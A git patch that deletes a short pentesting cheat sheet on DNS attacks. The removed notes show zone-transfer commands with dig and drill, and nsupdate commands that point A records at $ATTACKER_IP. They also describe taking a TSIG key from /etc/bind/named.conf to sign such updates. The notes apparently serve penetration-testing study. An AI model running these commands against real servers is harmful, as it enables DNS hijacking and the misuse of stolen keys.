From 3f066cb6639a2cb05c0e46e5b6cffc9e716b6d83 Mon Sep 17 00:00:00 2001 From: whackx Date: Wed, 9 Aug 2023 21:53:59 +0200 Subject: [PATCH] clean up and rewrite --- Enumeration/:w | 43 ------------------------------------------- 1 file changed, 43 deletions(-) delete mode 100644 Enumeration/:w diff --git a/Enumeration/:w b/Enumeration/:w deleted file mode 100644 index 4569f3f..0000000 --- a/Enumeration/:w +++ /dev/null @@ -1,43 +0,0 @@ -# DNS - -## Subdomain Enumeration - -* Get all the info via -```sh -dig @$TARGET_DNS $DOMAIN axfr -drill @$TARGET_DNS $DOMAIN axfr -``` - -There is also [subrake](https://github.com/hash3liZer/Subrake.git) for sudbdomain enumeration. -A Subdomain Enumeration and Validation tool for Bug Bounty and Pentesters. - -## Join a Domain - -Join a windows domain by setting the A record to the attacker's IP, needs cert and Pk -```sh -nsupdate -server -update delete -update add 1234 A $ATTACKER_IP -send -quit -``` -Afterwards, check the domain by querying the subdomain's A record via dig/drill/nslookup. - -### Found Secrets for Keys - -Sometimes secrets can be found secret like a key, for example in `/etc/bind/named.conf`. This secret can be used to join the domain. -```sh -nsupdate -d -y :: -Creating key... -namefromtext -keycreate - -server -update add .. 86400 IN A $ATTACKER_IP -send -``` - -*Hint:* Copy the lines, every space counts as it has to be exactly like in the example - -